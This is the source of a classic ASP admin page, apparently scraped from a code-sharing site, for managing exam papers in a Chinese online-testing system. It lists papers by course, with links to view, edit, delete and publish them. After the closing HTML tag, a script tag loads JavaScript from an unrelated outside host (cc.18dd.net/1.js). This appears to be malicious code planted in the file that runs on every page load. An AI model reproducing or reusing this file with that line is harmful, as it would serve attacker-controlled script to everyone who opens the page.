📄 paperlist.asp
字号:
<!--#include File="isAdmin.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<!--#include file="../class/ELesson.asp"-->
<!--#include file="../class/EPaper.asp"-->
<!--#include file="../class/EPaperList.asp"-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>试卷管理</title>
<link rel="stylesheet" href="../style.css">
<script language="javascript">
function SelChange(){
var s;
var url;
s = document.form1.lid.value;
url = "PaperList.asp?lid=" + s;
form1.action = url;
form1.submit();
return(false);
}
function newView(url) {
var oth="toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes,left=200,top=200";
oth = oth+",width=400,height=450";
var newView=window.open(url,"newView",oth);
newView.focus();
return false;
}
</script>
</head>
<body link="#000080" vlink="#080080">
<form id="form1" name="form1" method="POST">
<%Set eq = New EQuestion
Set pa = New EPaper
Set ls = New EPaperList
Set ls1 = New EPaperList
Set ln = New ELesson
Dim Operid,n,lid
lid = 0
lid = Request.QueryString("lid")
%>
<p align='center'><font style="FONT-SIZE: 12pt"><b>试卷管理</b></font></p>
<table border="0" cellspacing="0" width="100%">
<tr>
<td><strong>课程名称</strong>
<select name=lid onchange="SelChange()">
<option value=0>--请选择课程名称--</option>
<%ln.GetLessonList()
DO While Not ln.rs.EOF
If ln.rs("LId")=CInt(lid) Then%>
<option selected value=<%=ln.rs("LId")%>><%=ln.rs("LName")%></option>
<%Else%>
<option value=<%=ln.rs("LId")%>><%=ln.rs("LName")%></option>
<%End If
ln.rs.MoveNext
Loop
%></select>
</td>
</tr>
</table><br>
<center>
<table border="1" cellspacing="0" width="100%" bordercolorlight="#4DA6FF" bordercolordark="#ECF5FF">
<tr>
<td width="40%" align="center" bgcolor="#eeeeee"><strong>试卷题目</strong></td>
<td width="20%" align="center" bgcolor="#eeeeee"><strong>试题类型</strong></td>
<td width="20%" align="center" bgcolor="#eeeeee"><strong>个数</strong></td>
<td width="20%" align="center" bgcolor="#eeeeee"><strong>分值</strong></td>
</tr>
<%
'读取所有的试卷数据到记录集rs中
pa.GetPaperList(lid)
If pa.rs.EOF Then
'如果记录集为空,则显示“目前还没有记录”
Response.Write "<tr><td colspan=4 align=center><font style='COLOR:Red'>目前还没有记录。</font></td></tr></table>"
Else
'在表格中显示试卷名称
DO WHILE Not pa.rs.EOF
pid = pa.rs("PId")
pname = pa.rs("PName")
flg = pa.rs("Flag")%>
<tr><td><%=pname%>(<%=pa.rs("CreateTime")%>)
<a href="PaperView.asp?pid=<%=pa.rs("PId")%>" OnClick="return newView(this.href)"><查看试卷></a></td>
<td colspan=3 align=right><a href="PaperUpdate.asp?pid=<%=pa.rs("PId")%>" OnClick="return newView(this.href)">修改</a>
<%If flg=0 Then%>
<a href="PaperDel.asp?pid=<%=pa.rs("PId")%>" OnClick="if(confirm('确定要删除试卷及所有试题信息?')){return newView(this.href);}return false;">删除</a>
<a href="PaperPub.asp?pid=<%=pa.rs("PId")%>" OnClick="if(confirm('确定要发布该试卷?')){return newView(this.href);}return false;">发布</a>
<%End If%></td></tr>
<% '显示试卷中试题信息
ls.GetAlllist(pid)
oid = 0
Do While Not ls.rs.EOF
'读取类型编号
eq.GetQuestionInfo(ls.rs("qid"))
tnid = eq.rs("TId")
If tnid<>oid Then
cnt = ls1.GetTypeCount(pid,tnid)
%>
<tr>
<td align="center"> </td>
<td><%=eq.GetTypeName(ls.rs("qid"))%></td>
<td><%=cnt%></td>
<td><%=ls.rs("TValue")%>*<%=cnt%>=<%=ls.rs("TValue")*cnt%></td>
</tr>
<% End If
oid = tnid
ls.rs.MoveNext()
Loop
pa.rs.MoveNext()
LOOP
End If
%>
</table>
<p align=center><input type="button" value="添加新试卷" onclick="newView('PaperEdit.asp')" name=add></p>
</form>
<%pa.rs.Close
ln.rs.Close%>
</BODY>
</HTML>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -